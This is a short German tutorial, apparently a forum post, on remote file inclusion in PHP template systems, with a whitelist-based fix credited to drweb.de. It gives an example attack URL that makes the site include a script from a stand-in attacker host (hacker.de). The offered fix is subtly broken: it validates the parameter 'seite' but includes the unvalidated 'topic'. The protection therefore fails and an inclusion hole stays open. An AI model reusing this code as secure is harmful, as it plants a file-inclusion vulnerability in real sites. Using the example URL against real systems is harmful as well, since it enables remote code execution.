Wenn man ein Templatesystem hat, kann es sein, dass per URL die Template-Datei und der Inhalt übergeben.
Bsp.
localhost/index.php?temp=88;c=inhalt-4.php
Das ist ein riesiges Sicherheitsloch.
Ein Hacker könnte seine Skripte der index.php übergeben, indem er einfach eine "böse" Inhaltsdatei anhängt - und kann so die Homepage stark beschädigen.
localhost/index.php?temp=88;c=http://www.hacker.de/hackerdatei.php
index.php
| CODE |
<?php
$inc_array = array();
$inc_dir=opendir ("./includes");
while ($inc = readdir ($inc_dir)) {
if($inc != "." && $inc != "..") {
$short_inc = str_replace(".inc.php", "", $inc);
array_push ($inc_array, $short_inc);
}
}
closedir($inc_dir);
if (isset($_GET[seite]) && in_array($_GET[seite], $inc_array) ) {
include("includes/".$_GET[topic].".inc.php");
} else {
include("./includes/start.inc.php");
}
?>
|
Die index.php wird dann so aufgerufen.
index.php?seite=inhalt
Das führt dazu, dass die Datei inhalt.inc.php im Ordner includes geladen wird.
Zuvor muss man alle Daten in das Verzeichnis includes kopieren.
Alle anderen Parameter werden ignoriert und die Standarddatei geladen.
Quelle des Quellcodes:
www.drweb.de